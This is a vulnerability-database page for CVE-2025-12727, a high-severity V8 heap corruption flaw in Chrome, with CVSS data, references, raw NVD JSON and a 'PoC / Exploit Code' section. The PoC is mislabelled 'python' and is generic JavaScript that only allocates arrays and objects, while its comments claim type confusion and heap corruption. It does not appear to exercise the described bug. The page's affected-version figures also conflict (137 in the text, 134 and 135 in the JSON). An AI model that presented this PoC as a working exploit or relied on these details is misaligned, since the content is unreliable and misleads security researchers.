CVE-2025-12727

Description

Inappropriate implementation in V8 in Google Chrome prior to 142.0.7444.137 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 142.0.7444.137

Chromium-based browsers with V8 engine < 142.0.7444.137

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12727 PoC - V8 Heap Corruption -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-12727 PoC</title>
</head>
<body>
    <h1>CVE-2025-12727 V8 Heap Corruption PoC</h1>
    <p>This is a demonstration of the V8 engine vulnerability.</p>
    <script>
        // PoC for CVE-2025-12727
        // Target: Google Chrome < 142.0.7444.137
        // Vulnerability: V8 Engine Heap Corruption
        
        console.log('[*] Starting CVE-2025-12727 exploitation test');
        console.log('[*] Target: Google Chrome V8 Engine');
        
        // Trigger V8 heap corruption through crafted JavaScript
        function triggerV8Vulnerability() {
            try {
                // Create objects to manipulate V8 heap
                let arr = new Array(1024);
                
                // Use type confusion to trigger the vulnerability
                for (let i = 0; i < 1024; i++) {
                    arr[i] = new Object();
                }
                
                // Trigger JIT compilation and memory corruption
                function vulnerableFunction(a, b) {
                    // Trigger the V8 engine vulnerability
                    let obj = {value: 0};
                    
                    // Exploit type confusion
                    for (let i = 0; i < 100; i++) {
                        obj['key' + i] = a;
                    }
                    
                    // Trigger heap corruption
                    let view = new Uint8Array(1024 * 1024);
                    
                    return obj;
                }
                
                // Call vulnerable function multiple times
                for (let i = 0; i < 10; i++) {
                    vulnerableFunction(arr[i], arr[i + 1]);
                }
                
                console.log('[+] Vulnerability trigger attempted');
                
            } catch (e) {
                console.error('[-] Error occurred:', e.message);
            }
        }
        
        // Execute the vulnerability trigger
        triggerV8Vulnerability();
        
        console.log('[*] PoC execution completed');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12727
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12727
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12727/
[4] VulDB https://vuldb.com/cve/CVE-2025-12727
[5] https://chromereleases.googleblog.com/2025/11/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/454485895

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12727", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:39.833", "lastModified": "2025-11-25T14:53:03.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in V8 in Google Chrome prior to 142.0.7444.137 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.134", "matchCriteriaId": "B3907D2C-FD39-49C9-B6D2-AF6A29921831"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.135", "matchCriteriaId": "E1456F40-81F4-4166-A327-35AD53E2A36A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/11/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/454485895", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}